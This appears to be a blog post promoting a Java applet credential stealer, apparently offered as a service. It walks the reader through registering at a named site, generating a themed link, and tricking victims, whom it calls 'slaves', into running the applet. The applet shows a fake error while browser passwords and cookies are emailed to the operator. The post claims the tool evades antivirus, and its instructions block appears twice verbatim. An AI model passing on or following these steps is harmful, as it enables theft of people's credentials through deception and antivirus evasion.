I just developed a stealer that decrypts all stored passwords in the internet browser. It works on Windows Vista and Windows 7 machines and it is in beta and only works on Chrome, Firefox, and IE. It is done in Java applet so they do need to run the applet for this to work. Luckily, the average user does not have much knowledge of computers so a little of social engineering should do the trick.
Basically, you register your email, pick a theme and it will give you a URL. Send the URL to a slave, use a bit of social engineering to get them to click on the link and run the applet. Once the applet is ran, they will get a fake error message and the decrypted stored passwords and cookie files will be sent to your email.
It is 100% FUD. All the decryption is done through the applet so it is not JDB so no files are downloaded hence wont trigger Anti Viruses.
Steps:
1. Go to: http://h.ambesty.com/register.aspx
2. Read the instructions
3. Enter your email, click submit.
4. It will generate a URL per theme, send your slave the URL.
5. If all goes well, you should receive an email in your inbox with the decrypted data.
Right now only 2 themes exist. A blank one and a hello kitty one (for girls who love cute things). To create your own theme, read the instructions.
Basically, you register your email, pick a theme and it will give you a URL. Send the URL to a slave, use a bit of social engineering to get them to click on the link and run the applet. Once the applet is ran, they will get a fake error message and the decrypted stored passwords and cookie files will be sent to your email.
It is 100% FUD. All the decryption is done through the applet so it is not JDB so no files are downloaded hence wont trigger Anti Viruses.
Steps:
1. Go to: http://h.ambesty.com/register.aspx
2. Read the instructions
3. Enter your email, click submit.
4. It will generate a URL per theme, send your slave the URL.
5. If all goes well, you should receive an email in your inbox with the decrypted data.
Right now only 2 themes exist. A blank one and a hello kitty one (for girls who love cute things). To create your own theme, read the instructions.
0 comments:
Post a Comment